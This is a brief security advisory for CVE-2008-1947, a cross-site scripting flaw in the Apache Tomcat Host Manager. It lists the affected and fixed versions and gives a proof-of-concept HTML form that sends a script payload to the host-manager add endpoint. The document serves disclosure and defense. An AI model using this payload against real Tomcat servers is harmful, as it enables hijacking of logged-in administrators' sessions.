|
|
| |
| The Tomcat Host Manager web application does not escape user provided data before including it in the output. |
| |
Credit:
The information has been provided by Mark Thomas.
|
| |
Vulnerable Systems:
* Tomcat version 5.5.9 up to version 5.5.26
* Tomcat version 6.0.0 up to version 6.0.16
Immune Systems:
* Tomcat version 5.5.27
* Tomcat version 6.0.17
Example:
Assume that after logged in, the victim was lead to the malicious web server with following file installed.
<form action="http://localhost:8080/host-manager/html/add" method="get">
<INPUT TYPE="hidden" NAME='name' VALUE="<script>alert()</script>">
<INPUT TYPE="hidden" NAME='aliases' VALUE="somealias">
<input type="submit">
</form>
CVE Information:
CVE-2008-1947
|
|
|
|
|
